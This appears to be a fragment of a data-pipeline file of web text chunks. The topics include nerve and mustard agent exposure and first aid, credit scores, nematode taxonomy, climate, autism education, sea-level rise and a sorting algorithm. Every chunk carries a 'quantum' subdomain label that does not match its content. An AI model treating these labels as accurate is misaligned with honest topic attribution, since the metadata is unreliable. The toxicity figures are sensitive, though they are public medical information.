"2025-12-18T05:22:13.521594"} {"text": "an area with fresh air as soon as possible. contaminated clothing should be removed as soon as possible. if a person ' s eyes are exposed, they must be flushed with lukewarm water for at least 15 minutes. exposed skin should be washed thoroughly with water. blisters should be treated as burns. if a person does not have a pulse, cpr will be administered. if a person is not breathing, artificial respiration will be provided. if breathing is labored, oxygen or other respiratory support is administered. mustard gas changes into other chemicals in the body and those chemicals mostly leave the body in the urine within a few weeks. if a person is exposed to a very large amount of mustard gas or exposed for a prolonged period of time, he could die. the information about mustard gas was compiled from the following sources : agency for toxic substances and disease registry congressional research service vx is a nerve agent that disrupts the transmission of nerve impulses in the body. it is an amber - colored, oily liquid that will remain in the environment until it has been properly cleaned through decontamination methods. it can be similar in appearance to motor oil. vx can enter the body through ingestion, inhalation or through the eyes or skin. vx is the most potent of all nerve agents and the least volatile, meaning it is slower to evaporate. it ' s approximately 50 times more toxic than cyanide gas. it was developed by the united states and britain in the 1950s. symptoms of overexposure may occur within minutes or hours, depending on the dose. the symptoms of vx exposure take longer to show up than with other nerve gases, but are similar. they include nausea, vomiting, diarrhea, constriction of the pupils or blurred vision, runny nose, chest tightness, difficulty breathing, disorientation, loss of muscle control, loss of consciousness, convulsions and eventually respiratory failure and death. do not induce vomiting. a person exposed to vx should immediately don a respiratory mask. the person should be thoroughly decontaminated by washing with large amounts of water and soap, sodium carbonate or bleach. this should be done gently as scrubbing will increase absorption. emergency personnel should administer antidote. the patient may need an iv or to be placed on a ventilator to restore breathing. if there are seizures, a sedative such as valium may help. because symptoms may take up to 18 hours to appear, the", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5149603027553291, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.522553"} {"text": "antidote. the patient may need an iv or to be placed on a ventilator to restore breathing. if there are seizures, a sedative such as valium may help. because symptoms may take up to 18 hours to appear, the person should be kept in the emergency room. the dose that would be lethal to 50 percent of the people exposed is about 10 milligrams, a tiny amount that could be held on the end of a straight pin. because the agents act slower than other nerve agents, successful treatment is possible. once a person recovers, the symptoms are not likely to return, but the patient may suffer from the effects of oxygen deprivation for days or weeks. the information about vx was compiled from the following sources : centers for disease control and prevention cdc fact sheets on agents u. s. army soldier and biological chemical command fernando l benitez, md, assistant medical director, dallas metro biotel ( ems ) system, clinical instructor of emergency medicine, department of surgery, division of emergency medicine, university of texas southwestern medical center http : / / www. emedicine. com tabun is classified as a nerve agent that interrupts the transmission of nerve impulses in the body. for example, it binds to nerves in the spine, muscles or central nervous system depending on the manner of ingestion. it was developed in germany in 1936 as an insecticide. like a number of widely used insecticides, tabun is an organic compound containing phosphorus ( organophosphorus compounds ). it is a tasteless liquid that ranges from colorless to brown and has a somewhat fruity odor. it is volatile at room temperature and can be absorbed through the eyes or skin or inhaled as vapor. the symptoms depend on how tabun is ingested. if inhaled or absorbed through the eyes, the first symptom to appear is usually miosis, or constriction of the pupils, and visual blurriness, combined with shortness of breath, wheezing, runny nose and tightness of the chest. if swallowed or absorbed through skin not near the eyes, pupil constriction may not occur, and nausea is the first symptom to appear. tabun ' s effects also include vomiting and diarrhea, urinary and fecal incontinence, loss of muscle control, convulsions, coma, and death. vomiting and diarrhea are symptoms of a serious exposure that must be treated immediately. do not induce vomiting. a", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.46743798003135234, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.523499"} {"text": ", urinary and fecal incontinence, loss of muscle control, convulsions, coma, and death. vomiting and diarrhea are symptoms of a serious exposure that must be treated immediately. do not induce vomiting. a person exposed to tabun should immediately don a respiratory mask. if eye contact has occurred, the patient should rinse the eyes with water for 10 to 15 minutes before putting on the mask ; in the case of skin contact, wash the affected area with lots of water and soap, sodium carbonate or bleach, but not hot water, as this will speed tabun absorption. at the emergency room, medical personnel should administer a nerve agent antidote. the patient may need an iv or to be placed on a ventilator to restore breathing. a person exposed to tabun or other nerve gases should remain in the emergency room for at least 24 hours. chances of long - term survival are high, but effects such as miosis, blurred vision and balance problems can persist for months. although skin absorption great enough to cause death may occur in one to two minutes, death may not occur for one to two hours. respiratory lethal dosages kill in one to 10 minutes, and liquid in the eye kills almost as rapidly. in most cases, by the time the patient arrives at the emergency room, the agent has already taken effect. if the exposure is mild to moderate, recovery is possible if treated immediately. the information about tabun was compiled from the following sources : cdc fact sheets on agents http : / / www. state. sd. us / doh / bioterrorism / chemical % 20agents. pdf u. s. army soldier and biological chemical command http : / / www. sbccom. army. mil / services / edu / tabun. htm federation of american scientists http : / / www. fas. org / nuke / intro / cw / agent. htm nerve agents, g - series : tabun, sarin, soman by jeffrey l arnold, md, facep, faaem, assistant clinical professor, department of emergency medicine, baystate medical center http : / / www. emedicine. com / emerg / topic898. htm a short history of the development of nerve gases", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.46034546648533303, "token_count": 470, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.524485"} {"text": "why is it so easy for most people, even young students, to obtain credit? how does the issuer of a credit card, a student loan, or a mortgage know how much risk it is taking in extending credit to a particular borrower? if every lender had to conduct a complete investigation of every borrower \u2019 s financial history, getting a loan would be difficult and expensive. fortunately, credit reporting agencies act as middlemen. they receive information from lenders about borrower accounts and consolidate that information in the form of a credit score, which they make available to potential new lenders. your credit score represents your overall creditworthiness. it affects your ability to obtain credit and the interest rate you will have to pay for future loans. your credit score can be a valuable asset or a major burden, so learn how to take care of it. this section will help you answer the following questions : - manage your finances - make today ' s decisions - prepare for your future - save money at duke - request a workshop protect your credit. eventually you will probably want to borrow money for a car or a home, and you ' ll minimize your interest rate by maintaining pristine credit. so make yourself a credit card company ' s worst customer : pay your bills on time and never carry a balance.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4424638699882283, "token_count": 261, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.525845"} {"text": "| abstract | | christian morality has been of enormous significance in world history and still underpins moral notions today. in this groundbreaking volume, j. ian h. mcdonald explores the notion of christian ethics and discusses its roots, its significance in developing moral standards throughout the world and its stability in the modern world. the crucible of christian morality begins with a study of the ethos of early christian communities, examining the relation of cosmic vision to moral attitude and authority, noting also the types of moral discourse used, and tracing the roots of these developments to the old testament and to the ministry of jesus. the second half of the book concentrates on selected moral themes, concerned with persons, with communities in societies and with virtue or moral excellence, situating them in the context of ancient cultural developments. | | keywords | | christian ethics history | | buy the book | | $ 124. 79 new ( 1 % off ) $ 125. 00 direct from amazon $ 138. 32 used amazon page | | call number | | bj1212. m33 1998 | | through your library | | configure | similar books and articles james m. gustafson ( 1974 ). theology and christian ethics. philadelphia, united church press. frederick s. carney ( 1975 ). on frankena and religious ethics. journal of religious ethics 3 ( 1 ) : 7 - 25. josef fuchs ( 1983 ). personal responsibility and christian morality. gill and macmillan. peter s. gedge ( 1982 ). christian contributions to moral education. journal of moral education 11 ( 4 ) : 266 - 273. harry frederick ward ( 1929 ). our economic morality & the ethic of jesus. new york, the macmillan company. robin gill ( 1999 ). churchgoing and christian ethics. cambridge university press. david p. gushee ( 2011 ). the contemporary u. s. torture debate in christian historical perspective. journal of religious ethics 39 ( 4 ) : 589 - 597. todd a. salzman ( ed. ) ( 1999 ). method and catholic moral theology : the ongoing reconstruction. creighton university press. john hill ( 1981 ). christian moral education. journal of religious ethics 9 ( 1 ) : 103 - 117. william o. \u2019 neill ( 1993 ). the distinctiveness of christian morality. philosophy and theology 7 ( 4 ) : 405 - 423. added to index2009 - 01 - 28 total downloads5 ( # 160, 518 of 549, 754 ) recent downloads ( 6 months )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5172039501948908, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.529535"} {"text": "researchers at the research center quantop at the niels bohr institute at the university of copenhagen ( denmark ) have constructed an atomic magnetometer, which has achieved the highest sensitivity allowed by quantum mechanics. sensitive magnetometers could be used to measure electrical activity in the human brain and heart. the results have been published in physical review letters. the ultimate sensitivity of any measurement is determined by the laws of quantum mechanics. these laws, normally most noticeable at the atomic level, become relevant for larger objects as the sensitivity of measurements increase with the development of new technologies. atoms as magnetic sensors atoms have a fundamental property called spin, which makes the atoms act like small magnets that are sensitive to external magnetic fields and can be used as magnetic sensors. but each of the atomic spins has a quantum uncertainty, which sets the fundamental limit on the smallest external magnetic fields that the atom can sense. conventional atomic magnetometers are usually built with a very large number of atoms, because the overall sensitivity of billions of atoms is much greater than that of a single atom. but on the other hand, it is much more difficult to reach the limit of sensitivity given by quantum mechanics. however, researchers at the quantop center have constructed an atomic magnetometer with the ultimate sensitivity allowed by quantum mechanics. \u201c moving towards the goal we had to ensure that our method made it possible to suppress not only sources of technical errors, such as fluctuations in the magnetic field due to public transportation, radio waves and so on, but also to eliminate a number of errors of pure quantum mechanical origin \u201d, explains professor eugene polzik, director of the quantop center at the niels bohr institute. from brains to explosives as a result, the magnetometer can measure in a second a field, which is a hundred billion times weaker than the earth \u2019 s magnetic field. the magnetometer has a wide range of possible uses, because where there is an electric current, there is also a magnetic field. measurements of magnetic fields can reveal information about the electrical activity in the human brain and heart, the chemical identity of certain atoms, for example, explosives, or simply indicate the presence or absence of metal. the new quantum magnetometer functions at room temperature, which makes it a good alternative to the expensive commercial superconducting magnetometers ( the so - called \u2018 squids \u2019 ). \u201c our quantum magnetometer functions at room temperature which makes it a good alternative to the expensive commercial superconducting magnometers ( the so - called \u2018 squids \u2019 ). it has the", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.7255322273977425, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.532620"} {"text": "this project \u2019 s official title is \" ocean - ice interaction in the amundsen sea : the keystone to ice - sheet stability \". a real mouthful, but it captures the essence of what we intend to do, where we will do it and why we feel it is important to do it. various other measurements have captured the west antarctic ice sheet changing very rapidly in the region where it flows into the amundsen sea, one of the sectors of the southern ocean. the spatial pattern strongly suggests that the cause of this change is weaker ice shelves, the floating apron of ice that fringe the perimeter of the ice sheet. our hypothesis is that warm water is melting the undersides of these ice shelves decreasing the \" back pressure \" from the ice shelves to help hold the ice sheet. less backpressure means the ice sheet can flow faster. faster flow - smaller ice sheet - higher sea levels - slow motion coastal flooding worldwide. satellite observations have been tremendously valuable in identifying these changes, but can \u2019 t tell us what \u2019 s going on beneath the ice. direct observations are required. that \u2019 s where our field work comes in. we need to drill through the ice to deploy instruments that will measure what \u2019 s going on. this may sound easy, but there are multiple hurdles that must be overcome. getting there is the first one. these ice shelves are heavily crevassed \u2014 landing even a small plane may not be possible. finding an area large enough to work could be difficult. we know how to use hot water drills to make a hole in the ice, but the hole is narrow forcing us to design new skinny instruments that are smart and sturdy enough to measure the water \u2019 s temperature, movement and saltiness. our instruments will be smart enough to \" phone home \" and understand new commands we might send. finally, to be able to use what we learn in one small area, we need to know the shape of not just the floating ice sheet, but also the water cavity beneath the ice and create new computer models so we can simulate what is going on and compare it with our measurements. and remember, this is antarctica. we can only be there during the middle of the summer, it is cold, it is probably very windy much of the time and even the simplest tasks can be very difficult. such a monumental scientific undertaking requires a host of talents. our team includes a variety of highly skilled polar scientists and engineers. this web site introduces them, along with our research plan. updates will allow visitors to this site to follow our progress.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5116641083598465, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.536265"} {"text": "rev 10 / 99 class chromadorea 1. pore - like or slit - like amphid apertures, always labial. 2. deirids present in some near nerve ring. 3. phasmids present, generally posterior. 4. no hypodermal glands, but hypodermal cells are multinucleate. 5. excretory system tubular. 6. no caudal glands. 7. male generally with a single testis. 8. caudal alae common. 9. male with paired preanal supplement glands in two sublateral rows. 10. sensory papillae cephalic only, although may be caudal papillae in males. 11. esophagus varies but has 3 esophageal glands. 12. almost exclusively terrestrial, rarely freshwater or marine. sub - class : rhabditia - no stomal armature. three - part esophagus has corpus, isthmus and metacorpus. tri - lobed chamber in terminal metacorpus. orders : 1. rhabditida - microbivores in soil ; vertebrate and invertebrate parasites. males with delicate rays in caudal alae. rhabditis, caenorhabditis, cephalobus, steinernema, heterorhabditis, acrobeles. 2. strongylida - adults are vertebrate parasites ; juveniles feed on bacteria or are parasites of annelids / molluscs. males with prominent rays in lobed caudal alae. ancylostoma ( hookworm ), enterobius ( pin worm ) sub - class : spiruria - wine - bottle esophagus, no valves, all animal parasites. orders : 1. spirurida - parasites of terrestrial and aquatic vertebrates, include filarioidea - filarial worms. stoma has a hook. large nematodes. wuchereria bancrofti ( elephantiasis ), onchocerca volvulus ( river blindness ), dirofilaria immitis ( dog heartworm ). 2. ascaridida - intestinal parasites of vertebrates. mainly minor parasites of birds and fish and < 2cm long, except in ascaris. ascaris, toxocara canis ( dog ascarid ), anisakis. 3. camallanida -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4440225580264083, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.540506"} {"text": "##rtebrates. mainly minor parasites of birds and fish and < 2cm long, except in ascaris. ascaris, toxocara canis ( dog ascarid ), anisakis. 3. camallanida - parasites of terrestrial and aquatic vertebrates, with copepods as obligatory secondary host. dracunculus medinensis ( guinea worm ). 4. drilonematida - parasites of annelids and molluscs. sub - class : diplogasteria - movable stomal armature almost exclusively in this sub - class in chromadorea ; 3 - part esophagus with muscular, usually valved, metacorpus and glandular postcorpus ; microbivores, insect parasites, plant parasites. orders : 1. diplogasterida - movable teeth in stoma, predators, omnivores, bacterial and fungal feeders, insect associates. very muscular metacorpus and structured, glandular postcorpus. odontopharynx. 2. tylenchida - all have movable hollow stylet. - aphelenchina - early plant parasites? hosts are gymnosperms, ferns, ornamentals / nursery, fungi, insects. males with 6 rays in caudal alae and \" rose - thorn \" - shaped spicules. - tylenchina - parasites of angiosperms, ( monocotyledons and dicotyledons ), fungi. male with at most 1 ray in caudal alae, blade - shaped spicule. - sphaerulariina - parasites of insects, and hexatylina - are other sub - orders. return to classification menu return to animal - parasitic nematode menu go to nemaplex home page", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42426988478340477, "token_count": 376, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.541300"} {"text": "response to the global emergency 22 dec 2005 davis wasdell looks at the climate change, solutions and actions that can be taken to prevent it. for every positive \u2019 story, there is of course a negative \u2019 downside \u2013 so we will get that out of the way first! the current debate on climate change has seriously under - estimated the problem facing us as a planet. attention : this article has been imported from our old websitewhile we ' ve taken every precaution to ensure that the content of this article remains intact, it may contain errors. for every positive \u2019 story, there is of course a negative \u2019 downside \u2013 so we will get that out of the way first! the current debate onclimate change has seriously under - estimated the problem facing us as aplanet. greenhouse gases have been altering the climate for agreat many years, and the effects of those prior emissions have stillto work their way through the system into their final \u2019 form. even if we are able to curtail our current rate of greenhouse gasemissions ( the current strategy proposed by kyoto ), the amount ofgreenhouse gas concentration actually already in the system will stillmean that the temperature of our planet increases. however, inherent in the so - called global warming \u2019 are feedback loops which canbe triggered and which would then lead to effects independent of anyefforts to curtail carbon dioxide emissions \u2014 in fact it is likely thatcurrent strategies could lead to runaway global heating, rendering ourplanet uninhabitable ( for further information on feedback loops see : www. meridian. org. uk \u2014 article on feedback crisis in climate change \u2019 and article on global warning \u2019 both accessible from the home page ). the positive side of this is, of course, that it is becomingincreasingly impossible for politicians, and indeed the general public, to ignore this looming catastrophe. today we recognise that thosein possession of the most accurate information share the greatestresponsibility for ensuring its most effective application. so itis now imperative to recognise that there now exists a state of globalemergency in which we should declare that excessive greenhouse gasesare an eco - toxin with potentially catastrophic impact on the globalbiosphere. we must now develop an emergency strategy to move ourglobal society towards a zero or negative carbon economy within theshortest possible time - scale and develop the most effectiveinstitutional instruments to manage the transition. politicians do not lead \u2019 in democracies. they follow courses ofaction", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5259264187067101, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.544572"} {"text": "##al society towards a zero or negative carbon economy within theshortest possible time - scale and develop the most effectiveinstitutional instruments to manage the transition. politicians do not lead \u2019 in democracies. they follow courses ofaction that are socially sanctioned by their people. we thereforehave the most tremendous opportunity to influence ourdecision - makers. lobbying plays its part, but the most effectiveintervention we can make is to take responsibility for change in ourown lifestyle. we need a groundswell of people acting with theirfriends and neighbours to lead by example, reforming energy use, wasteproduction etc. \u2014 in short moving from the consumer society to theconserver society. lifestyle change must be matched with changein values, in beliefs, and in those deep unconscious drivers of theenough is not enough \u2019 syndrome. local neighbourhood action \u2013 people working together in replicating small cells and clusters \u2014 hasthe power to change our society amazingly fast. fast enough, infact, to be able to reach critical mass in time to avert the worsteffects of the global emergency \u2019. now is the time for all people to come to the aid of the planet. the future of the world is now in our hands. if you enjoyed this article, please consider making a donation donating helps us keep reporting on positive news", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5384714206358245, "token_count": 278, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.547064"} {"text": "falconer - when falconer turns blue monday, april 2, the community will gather to raise awareness on a disorder that affects tens of millions. the village will partake in the third annual light it up blue event on world autism awareness day, and support from the county hasn ' t been difficult to find. within the village, creating a friendly environment for children with autism begins early on and lasts through graduation, according to a few falconer central school employees. seth carr, a student in alynn conlan \u2019 s temple elementary class, uses the ipad app dexteria to increase fine motor coordination. in total, the district has roughly 140 special education students from kindergartners through 21 - year - olds. by using an inclusion model, children with disabilities learn alongside and follow the leads of regular education students, which can be beneficial. they find role models in class, according to julie possai, the district ' s special education director. although some students do spend time in self - contained classrooms, the district tries to move them into a general education setting as soon as possible. \" the inclusion model is critical, \" she said. \" they ' re a part of our community. they ' re just viewed as one of the kids in the class. it normalizes what we perceive as being different or odd. falconer is generally a very friendly environment. it ' s not a big deal. there doesn ' t appear to be a stigma. \" autism speaks, the nation ' s largest autism science and advocacy organization, cites a 600 percent increase in children with autism in the past 20 years. today, one in 110 children have autism. to assist the growing number of children with learning disabilities, falconer has focused on bringing technology into its classrooms and keeping students within their home district. \" we have to find some way to make these kids a part of our world, \" said amy smith, classroom aide in temple elementary ' s special education room. \" if we didn ' t have schools like falconer, these kids would be leaving to live in group homes and not be productive. our goal is to make these kids productive in this world. \" andy ohl, the district ' s assistive technology coordinator, remembers flipping through his high - school yearbook and seeing faces of classmates he never met. they attended classes in isolated rooms and never interacted with ohl and his regular education classmates. today, the special education children not only learn with and from regular education students, they have gadgets and applications that help them along. \" our", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.42411223670983755, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.565843"} {"text": "met. they attended classes in isolated rooms and never interacted with ohl and his regular education classmates. today, the special education children not only learn with and from regular education students, they have gadgets and applications that help them along. \" our kids here are totally integrated in the classroom, \" he said. \" they go to a regular education gym class, or a music class or they go as a group to the library. it ' s all individualized based on each child and how they would benefit most. \" ohl believes schools have struggled with finding appropriate content for students with disabilities for years. in the past, a device providing non - verbal students with a voice cost around $ 10, 000, he said. today, through the use of ipods and ipads, the district can purchase an application called \" proloquo2go \" for $ 189 that handles similar tasks as more expensive augmentative communication devices. \" by being able to purchase the ipad, we ' ve added a number of different things that we weren ' t able to on those dedicated devices, \" ohl said. \" they provide them with their voice. it allows them to speak using symbols. the device does the speaking for them. we can add on the fly. the device has a camera built into it. every new thing that they encounter within the classroom or in the community, the teacher or the aide can take a picture of that and add that right to their vocabulary. \" the ipads, new additions to the district, allow the staff to purchase student - specific content for children of all ability levels. the devices address the behavioral component of autism through video screen modeling that shows each scenario the students will encounter throughout the day. by showing children with autism positive behaviors, transitions from one room or task to the next become less difficult, according to ohl. \" when they transition to the lunch room, if they ' re not aware of what ' s going on in the next two minutes, you have the potential for a breakdown in behavior, \" he said. \" by having that behavior from the day before or the week before modeled on a video screen on the ipad and presented to them, they watch the proper way to walk in the hall, and they ' re more able to regulate their system as far as what ' s coming next. \" in the past, teachers and aides relied on picture schedules to show children what would come next. the district has also made a writing program with a phonetic spell checker and teacher - created podcast study", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.40422643577179285, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.569202"} {"text": "as far as what ' s coming next. \" in the past, teachers and aides relied on picture schedules to show children what would come next. the district has also made a writing program with a phonetic spell checker and teacher - created podcast study guides available for third - through 12th - grade students, allowing them access to the technology 24 hours per day. \" there are so many apps for children who have communication issues, \" possai said. \" for older children who struggle academically, we run out of tools in the tool box sometimes. it ' s another avenue. \" through the inclusion model and the use of technology, ohl believes disabilities have become more socially acceptable and understood. not only do special - education students take classes with regular - education children, they no longer need a teacher or an aide to sit with them during examinations thanks to the ipod. teachers can podcast examinations and store them on the devices prior to exams, allowing students with reading disabilities to hear the questions read out loud without having to leave the classroom. \" the ipod and ipad are socially appropriate as opposed to these big, bulky pieces these kids would have to carry around to communicate or sitting in a room by themselves, \" ohl said. \" it kind of takes the stigma of a child having a learning disability away. \" the technologies used by the district assist students with mild and profound disabilities in hopes of helping them graduate. in order to make that happen, the students must pass regents examinations. those who have grown accustomed to the various learning - enhancing technologies may use them on those exams, according to ohl. \" it levels the playing field for students who typically wouldn ' t be able to read a test or even answer an essay question in a manner where they would get credit, \" he said. \" if you can ' t read the test, you ' ll never pass. i can ' t judge your level of knowledge of the content. through these accommodations, now we can find out if this child knows earth science or biology. it ' s really beneficial, and a lot of our students are taking advantage of it. \" the district not only focuses on helping children graduate, falconer hopes to lead children with disabilities down paths that will help them find jobs after they leave. special education students work in the school ' s cafeteria or handle groundskeeping duties while enrolled at falconer, allowing them to experience fields they find interesting. \" when they graduate, our goal is to have those kids work those jobs that they want to work, \" ohl said. \"", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.42374960332805056, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.572161"} {"text": "' s cafeteria or handle groundskeeping duties while enrolled at falconer, allowing them to experience fields they find interesting. \" when they graduate, our goal is to have those kids work those jobs that they want to work, \" ohl said. \" they can only do that if they build skills all along the way. \" educating the community falconer central may have helped reduce the stigma around autism and learning disabilities within its three schools. however, cathy barber, an organizer of the light it up blue event, believes county residents have more to learn. her son, jacob, has autism. the 5 - year - old attends chautauqua lake school, but cannot speak. \" he ' s starting to, but it ' s been a long road, \" she said, noting the importance of admitting there is a problem and getting a child who potentially has autism help early. \" there ' s nothing around here for anyone with a child with autism. you have to go to buffalo or erie. people don ' t realize. people need to teach their kids about it. they look at jacob and wonder why he ' s doing the things that he does when we take him out because i refuse to keep him sheltered. it ' s especially important for the kids. some of the kids do have interactions with kids such as jacob, and they do fantastic with it. \" smith ' s son, jase, was diagnosed with asperger ' s syndrome four years ago. at age 2, he couldn ' t speak. smith had seen the negative side of educating children with autism. she saw kids throw tantrums when they didn ' t have the ability to say what they wanted. \" there was no way that was going to be my kid, \" she said, \" so we really pushed and got jase to function in our world. he never shuts up anymore. what we need is for these kids to be better understood, and they need these things that andy ( ohl ) and the technology department are coming up with. if they can ' t tell us what they need, we ' re in real trouble. if they melt down, kick and scream on the floor, it ' s not getting anybody anywhere. \" with technology and a reduction in the stigma surrounding the disorder, smith believes autistic kids are better off today than they were in the past. with a successful event april 2, that stigma could be further reduced. \" we ' ve had a huge response to this, \" smith said. \" i didn ' t expect it to", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4110695110286793, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.575860"} {"text": "71, 000 new yorkers : \u201c rise does matter! \u201d superstorm sandy produced record storm surge levels for locations in and around the ny city metropolitan region. one way that global warming made sandy worse is because global warming is causing sea levels to rise. sea levels have risen more than a foot in the new york city region since the industrial revolution. so what difference did this extra foot make for the citizens of new york city? quite a lot. 6, 000 more people impacted for each inch of rise! 70, 929 more people and 30, 551 more homes flooded. i asked storm surge expert dr. ben strauss to reflect on what this extra foot meant for new yorkers. his reply appears below ( with permission ) : according to noaa \u2019 s preliminary tide gauge readings, sandy peaked at 9. 15 ft above mean high water ( mhw, the average high tide line ) at the battery in nyc. surging seas uses the same elevation reference, mhw. so from our tool you can see we estimate that in nyc alone, ~ 633k people live on, and ~ 273k homes sit on, land that \u2019 s less than 9 ft above mhw. compare that to 8ft, or one foot less : ~ 562k people and ~ 242k homes. so, yes, sandy \u2019 s damage would absolutely still have been unthinkable without the extra 8 inches or so we might attribute to warming since the late 19th century. but you add about 6k people per vertical inch in this 8 - 9 ft elevation range. i think we all would have been happy to see just a few percent less damage here! a few other thoughts : - flood damage increases more steeply than flood depth - how many pieces of infrastructure might have been saved if the water were a bit lower? - a relative of mine heard a cbs news radio report that the water got 1. 5 ft higher than anyone at con ed had ever imagined / planned for \u2014 i don \u2019 t know the exact wording. would the 14th st transformer station that exploded and left so much of lower manhattan in the dark \u2014 would it have exploded with 8 inches lower water? ( est. global sea level rise since 1880 ) 15 inches? ( est total nyc slr since 1880, including local land subsidence ) sea level rise is certainly not the main story line here, but it contributed to the total damage from flooding and surge without any doubt. furthermore, sandy provides an illustration of flood levels that could be common \u2014", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39514210463791144, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.603862"} {"text": "1880, including local land subsidence ) sea level rise is certainly not the main story line here, but it contributed to the total damage from flooding and surge without any doubt. furthermore, sandy provides an illustration of flood levels that could be common \u2014 say, once a decade or worse toward the end of this century \u2014 if the upper end of sea level rise projections for nyc are realized. dr. ben strauss serves as chief operating officer and director of the program on sea level rise at climate central. in the latter capacity, he has published multiple scientific papers, testified before the u. s. senate, authored the surging seas report, and led development of the surgingseas. org coastal flood risk tool, leading to front - page coverage in the new york times and washington post, appearances on nbc, abc, cbs, pbs and npr national programming, and extensive coverage nationwide, from ap, reuters, bloomberg, usa today and the la times, to many hundreds of local news outlets, to numerous editorials and op eds. in the future, we will look back at the one foot sea level rise as \u201c the good old days \u201d. according to the new york state sea level rise task force report, it is very possible that seas will rise an additional 2. 5 ft by the 2050s and 4. 5 ft by the 2080s. imagine what a sandy would do then? it is pretty clear that new york city planners have much work to do to avoid future catastrophes. city officials did not endorse many of the recommendations of the task force in 2010. perhaps they will reconsider their position now?", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45459283683439405, "token_count": 328, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.605105"} {"text": "august 20, 2010 today \u2019 s exercise is about a relatively new sorting algorithm. we start with an article optimizing your wife by kevin brown, which proposes that the best way for a man to find a wife is to decide how many women he is willing to date before he chooses a wife, we \u2019 ll call that n, determine which of the first \u221an women is \u201c best, \u201d according to whatever matters to him, and then choose the next woman after the first \u221an that is better than any of the first \u221an women. for instance, to find the marriageable woman in a batch of a hundred, date ten of them, then marry the next one that is better than any of those ten. you may not find the optimal woman, but you \u2019 ll be close. eric burnett turned brown \u2019 s idea into a sorting algorithm. first, sample the first \u221an values at the beginning of an array, then swap any of the remaining values that are better than the greatest value of the sample to the end of the array, swap the greatest value of the sample just before those at the end, then recur on the smaller array before those greatest values. finish the sort by performing insertion sort on the entire array ; that will be quick, since most values are near their final positions. burnett \u2019 s algorithm requires three pointers : the current location of the end of the sample, the current location of the end of the array still under consideration, and a pointer that sweeps through the array. the time complexity is o ( n1. 5 ), which is similar to other sorting methods like shell sort and comb sort that have a first stage that nearly sorts the input followed by insertion sort to clean up the rest. your task is to write a function that sorts an array using marriage sort. when you are finished, you are welcome to read or run a suggested solution, or to post your own solution or discuss the exercise in the comments below. pages : 1 2", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5300236161405205, "token_count": 399, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.608122"} {"text": "imatinib, known commercially as gleevec, worked best when combined with the chemotherapy paclitaxel to slash the incidence of bone metastases and the size of tumors in mice injected with a multiple - drug resistant form of prostate cancer. tumors were found in only 4 of 18 mice treated with the combination, median tumor weight was one tenth of a gram, and the cancer spread to the lymph nodes in three cases. tumors grew in all 19 control mice, their median tumor weight was 1. 3 grams, and all metastasized to the lymph nodes. this extremely drug - resistant form of the cancer, designed by the research team to emulate the grim clinical reality of 